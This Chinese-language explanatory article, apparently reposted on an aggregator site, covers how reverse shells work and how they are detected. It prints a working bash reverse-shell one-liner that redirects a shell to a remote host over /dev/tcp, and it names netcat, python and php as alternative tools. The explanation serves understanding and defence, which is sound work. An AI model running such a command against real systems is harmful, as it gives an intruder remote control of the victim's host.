按关键词阅读:
恶意代码攻击正向复杂性、多样性和隐蔽性等方向发展 , 如何检测及防护这些攻击是当前信息安全领域研究的核心议题 。
反弹shell作为常见的攻击手段 , 攻击者可以利用应用程序漏洞 , 建立反向shell连接 , 从而获取对系统的交互式访问权限 。
一旦获得了对系统的访问权限 , 攻击者可以进行侦听 , 横向移动及尝试提升特权 , 达到窃取系统或数据库中敏感数据的目的 。 反弹shell作为外网渗透的最后一步、内网渗透的第一步 , 其对服务器安全乃至内网安全的危害不言而喻 。
「认识反弹shell」众所周知 , 正常的攻击方式是攻击者攻击一台目标机器 , 会在目标机器上打开一个端口 , 然后去连接该目标机器 , 这种连接方式我们称之为正向连接 。 而多数情况下 , 被控端位于防火墙之后 , 只能发送请求 , 不能接收请求 , 即攻击者的连接请求无法穿过防火墙 , 如图1所示 。
文章插图
图1 正向连接
有没有什么方法能让目标机主动去连接攻击者呢?当然有 , 这种技术我们称之为反弹shell或反向shell , 即成功利用远程命令执行漏洞的控制端监听在某个端口 , 被控端主动发起连接请求到该端口 , 并将其命令行的输入、输出转到控制端的一种攻击方式 。
【「硬核技术头条见」浅谈反弹shell原理及检测机制】通俗来讲 , 反弹shell就是一种入侵行为 , 主要表现为本地主机主动连接远端的攻击者 , 这样远端攻击者会获得本地主机的执行环境 , 拥有所有权限 , 可以任意执行命令 , 如图2所示 。
文章插图
图2 反向连接
反弹shell通常是通过TCP协议建立连接 , 也有少数通过ICMP协议来建立连接 , 由于它可以使用任何端口来建立连接 , 比如80和443端口 , 而这两个端口默认是开放的 , 也使得防火墙和其它网络安全解决方案很难检测到反弹shell行为 。
「反弹shell原理解析」反弹shell的本质是客户端和服务端角色的反转 , 通过利用webshell或代码执行等漏洞 , 使目标服务器主动发出连接请求 , 从而绕过firewall的入站访问控制规则 。 在目标服务器上可以通过执行许多不同的内置命令或脚本来建立反弹shell连接 , 比如bash、telnet、netcat、python script、php script等 。 下面以bash命令为例进行反弹shell演示:
首先在控制端执行侦听命令 , 比如侦听端口1234;接着在被控端执行命令bash -i >& /dev/tcp/192.168.126.135/1234 0>&1 , 则控制端会获取到被控端的执行环境 , 如图3所示 。
文章插图
图3 获取反弹shell
被控端执行的bash -i >& /dev/tcp/192.168.126.135/1234 0>&1命令究竟做了什么呢?
文章插图
图4a 反弹shell分析
文章插图
图4b 反弹shell分析
由图4a、图4b可知 , 在被控端执行此命令后 , 会产生一个新的bash进程 , 且该进程会建立一个通向控制端的连接 , 而新进程的标准输入、标准输出重定向到socket,最终实现了与控制端的交互 。
当Target未受到攻击时 , 其标准输入是指向键盘、标准输出指向显示器的 , 如图5a所示;而反弹shell攻击就是利用该标准输入、标准输出重定向功能 , 实现入侵主机对目标机的远程控制的 。 如图5b所示 , attacker利用Linux shell提供的重定向功能 , 将一个shell命令的标准输入、标准输出重定向至一个与socket或pipe关联的文件上 , 这样入侵主机的输入成为该shell命令的输入 , 该shell命令的输出也会直接传递给远端的入侵者 。
文章插图
图5a 正常shell的标准输入、标准输出
文章插图
图5b 反弹shell的标准输入、标准输出
「如何检测及防护反弹shell」当前有不少企业相继推出了针对反弹shell进行检测的安全套件 , 但误报及漏报现象严重 , 归其原因 , 主要是检测方式过于单一 , 而攻击方式却千变万化 。 比如有的安全套件检测shell进程是否带终端属性 , 如果shell进程不带终端属性 , 认为这是一个反弹shell 。
但根据此方法 , 如果对shell进行重新编译或者重命名 , 则无法对反弹shell进行有效检测 。 而有的安全套件通过监听bash进程的创建 , 若bash进程对应的重定向文件为套接字文件并且套接字文件描述符存在网络连接 , 则认为服务器存在反弹shell攻击 。
稿源:(未知)
【傻大方】网址:http://www.shadafang.com/c/111J2IU2020.html
标题:「硬核技术头条见」浅谈反弹shell原理及检测机制